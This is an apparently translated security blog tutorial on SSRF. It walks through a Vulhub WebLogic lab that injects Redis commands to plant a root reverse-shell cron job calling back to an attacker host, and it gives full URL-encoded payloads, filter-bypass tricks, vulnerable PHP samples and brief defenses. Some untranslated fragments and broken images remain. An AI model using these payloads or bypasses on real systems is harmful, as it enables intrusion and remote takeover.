← Back to all posts
Web Vulnerability Reproduction and Analysis9 min read

A Brief Discussion of SSRF and Redis Reverse Shells

An introduction to SSRF principles, vulnerability impact, testing methods, bypass techniques, PHP code auditing, and using a WebLogic SSRF vulnerability to attack Redis and obtain a reverse shell.

Read in Chinese→

0x00 Introduction to SSRF and Its Principles

  • SSRF (Server-Side Request Forgery) is a vulnerability that can be exploited to forge requests originating from a server. In general, SSRF attacks target internal systems that cannot be accessed from the Internet.
  • By controlling a service that initiates requests within a feature, an attacker can use it as a springboard to attack other services on the internal network. For example, by controlling a front-end request that loads a response from a remote address, the attacker can change the requested remote URL or domain name to a local or internal IP address and service, thereby attacking internal systems.

0x01 Vulnerability Impact

  1. Scan for open services on the internal network

  2. Send payloads to arbitrary ports on arbitrary internal hosts to attack internal services

  3. Attack internal web applications, such as through direct SQL injection or XSS attacks

  4. Use the file, gopher, and dict protocols to read local files, execute commands, and so on

0x02 Where the Vulnerability Commonly Occurs

  1. Social sharing features: retrieving and displaying hyperlink titles and other content

  2. Transcoding services: using a URL to optimize the content of the original web page for viewing on mobile screens

  3. Online translation: translating the content of the web page corresponding to a given URL

  4. Image loading/downloading: for example, clicking to download an image locally in a rich-text editor, or loading or downloading an image through a URL

  5. Image/article bookmarking features: these mainly retrieve the title and text content from a URL for display in order to provide a better user experience

  6. Cloud service providers: these may remotely execute commands to determine whether a website is online, so if the relevant information can be captured, SSRF testing can be performed

  7. Website collection and crawling features: some websites collect information from a URL entered by the user

  8. Built-in database features: for example, MongoDB’s copyDatabase function

  9. Email systems: for example, receiving mail server addresses

  10. Encoding, metadata, and file processing: for example, ffpmg, ImageMagick, DOCX, PDF, and XML processors

  11. Undisclosed API implementations and other extended features that invoke URLs: Google search syntax combined with these keywords can be used to locate SSRF vulnerabilities

Some common URL keywords include: share, wap, url, link, src, source, target, u, 3g, display, sourceURl, imageURL, domain, and so on.

  1. Requesting resources from remote servers (upload from URL, as in Discuz!; importing and exporting RSS feeds, as in web blogs; and places that use XML engine objects, such as WordPress’s xmlrpc.php)

0x03 Vulnerability Verification

  1. Elimination method: use F12 in the browser to inspect the source code and determine whether the request is being made locally

For example: the resource address type is http://www.xxx.com/a.php\?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞

  1. Use DNSLog and similar tools to test whether the address is accessed (this can be used for blind testing against a back end; in a test case, encode the URL and parameters to be requested in Base64 so that, after decoding them, the blind-testing back end can identify which machine and CGI triggered the request)

  2. Analyze captured packets to determine whether the request was sent through the server. If the request did not originate from the client, a vulnerability may exist. Next, look for internal addresses running HTTP services

​ 3.1. Search historical vulnerability reports on vulnerability platforms for leaked internal addresses hosting web applications

​ 3.2. Use a subdomain brute-force tool to make approximate guesses about internal addresses

​ 3.3. Use the file protocol to read internal network information and obtain relevant addresses

  1. Directly returned information such as banners, titles, and content

  2. Watch for boolean-based SSRF. Determine whether SSRF exists by comparing the differences between the results of two different requests, similarly to boolean-based blind SQL injection.

0x04 Simple Test Cases

Create a PHP test script that uses cURL to send requests```


### Using Multiple Protocols

#### Gopher Protocol

使用gopher协议来查看协议, 访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:6667/_godzzz


![](/images/20200322104714726.png)

利用gopher发送POST的请求, 访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword


#### Dict Protocol```
dict 协议探测版本
http://10.211.55.4/ssrf.php?url=dict://127.0.0.1:3306/
```![在这里插入图片描述](/images/20200322104817808.png)

FILE Protocol```
http://10.211.55.4/ssrf.php?url=file:///etc/passwd

HTTP/HTTPS Protocols

http://10.211.55.4/ssrf.php?url=http://ip:port

WebLogic SSRF Vulnerability

WebLogic contains an SSRF vulnerability that can be used to send arbitrary HTTP requests and subsequently attack vulnerable components such as Redis and FastCGI on the internal network.

Brief Introduction

  • If a Redis service is exposed on port 6379 of the internal network, try using SSRF to exploit unauthorized access to Redis. This can directly obtain privileges through a reverse shell.
  • By default, Redis binds to 0.0.0.0:6379. If no relevant security measures are implemented, such as adding firewall rules to prevent access from untrusted IP addresses, the Redis service will be exposed to the Internet. If password authentication is not configured (the password is generally empty), any user who can access the target server will be able to access Redis without authorization and read its data.
  • Therefore, when no password is configured, SSRF can be used to bypass the restriction that binds the service locally, making it possible to attack an internal application from the Internet.

Vulnerable Environment

Set Up the Vulnerable Environment with Reference to Vulhub

Installing Docker makes this very convenient.

docker-compose.yml

version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   depends_on:
    - redis
   ports:
    - "7001:7001"
 redis:
   build: .

Build and start the test environment

docker-compose build
docker-compose up -d

Visit http://your-ip:7001/uddiexplorer/ to view the UDDI Explorer application without logging in.

SSRF Vulnerability Testing

The SSRF vulnerability exists at:

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

  1. For example, probe your own port 7001, which exists
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

  1. For example, probe whether 172.19.0.2:6379 is open. This type of error indicates that it is open
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379

  1. For example, probe whether 127.0.0.1:7000 is open. This type of error indicates that the port does not exist

Attacking Redis (via Header CRLF Injection)

A notable characteristic of WebLogic’s SSRF is that, although it is a “GET” request, we can inject newline characters by passing %0a%0d. Some services, such as Redis, use newline characters to separate individual commands. In other words, we can use this SSRF vulnerability to attack a Redis server on the internal network.

View the IP Address of Redis in Docker

docker ps

docker exec -it c5e88c76db40 ip addr

172.19.0.2是docker redis的内网地址

[Failed to transfer externally linked image. The source site may have hotlink protection enabled. It is recommended that you save the image and upload it directly (img-A7ZX0fPU-1584844899988)(/Users/zy/Library/Application Support/typora-user-images/image-20200317210632447.png)]

Use the SSRF Vulnerability to Probe Whether Redis Is Open on the Internal Network

Redis is found to be present

[Failed to transfer externally linked image. The source site may have hotlink protection enabled. It is recommended that you save the image and upload it directly (img-AK6eRaxz-1584844899989)(/Users/zy/Library/Application Support/typora-user-images/image-20200317211405238.png)]

Payload Generation

Send three Redis commands and write the reverse-shell script to /etc/crontab:

Write it as a scheduled task and then establish a reverse shell

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.19.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

URL-encode it:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

Note that the newline sequence is “\r\n”, namely “%0D%0A”.

Executing the Attack

Listen on a local port: nc -lvvp 2333

Make sure the IP address is correct

http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp 这个肯定是weblogic的能访问的地方了

operator=http://172.19.0.2:6379/  这个是redis的IP和端口

最后一个ip
192.168.0.100%2F2333  这个是要反弹shell的主机ip和端口

Visit in a browser:

http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.100%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```Reverse shell established successfully!  
![在这里插入图片描述](/images/20200322105240681.png)

# 0x06 Bypass Techniques

#### Common Bypass Methods

**1. \@**```
http://[email protected]
实际上是以用户名abc连接到站点127.0.0.1,同理
http://[email protected]:8080、http://127.0.0.1#8.8.8.8

Different processing functions handle domain names containing @ differently. For example:
http://[email protected]@www.ccc.com
PHP’s parse_url identifies www.ccc.com, whereas libcurl identifies www.bbb.com
2. Using [::]
[::] can be used to bypass localhost

http://[::]:80/  >>>  http://127.0.0.1

3. Using Short URLs

Webmaster Tools short URL service (http://tool.chinaz.com/tools/dwz.aspx\)
Redirect to the intended address

4. Using Special Domain Names
This works through DNS resolution. xip.io can point to any domain name, for example:

127.0.0.1.xip.io,可解析为127.0.0.1

5. Using DNS Resolution

Set an A record for the domain name that points to 127.0.0.1

6. 302 Redirects

Use a 302 redirect URL

7. Using Base Conversion

127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

8. Period

127。0。0。1  >>>  127.0.0.1

2. Common Restrictions

1. Restricted to the http://www.xxx.com domain
Bypass it using HTTP Basic Authentication, namely @
http://[email protected]
2. The Requested IP Must Not Be an Internal Address
When internal IP addresses are not permitted:
(1)Use a short URL to bypass the restriction
(2)Use a special domain name
(3)Use base conversion
3. Requests Are Restricted to the HTTP Protocol
(1)Use a 302 redirect
(2)Use a short URL

0x07 Auditing Common PHP Functions

Improper use of functions such as file_get_contents(), fsockopen(), curl_exec(), fopen(), and readfile() can cause SSRF vulnerabilities.

(1)The file_get_contents() function retrieves content from a user-specified URL and displays it to the user.

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

(2)fsockopen()

This function retrieves data from a user-specified URL. It uses a socket (port) to establish a TCP connection with the server and transmit data. The variable host is the hostname, port is the port, errstr indicates that error information will be returned as a string, and 30 is the timeout.

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

(3)The curl_exec() function executes the specified cURL session.

<?php 
if (isset($_POST['url'])){
    $link = $_POST['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

0x08 Defensive Techniques

  1. Disable unnecessary protocols (such as file:///, gopher://, and dict://). Permit only HTTP and HTTPS requests
  2. Use consistent error messages to prevent port status from being inferred from error information
  3. Disable 302 redirects, or check whether the new Host is an internal IP address after each redirect until the final URL is reached
  4. Configure a URL allowlist or restrict internal IP addresses

References

https://xz.aliyun.com/t/2115#toc-2

https://joychou.org/web/phpssrf.html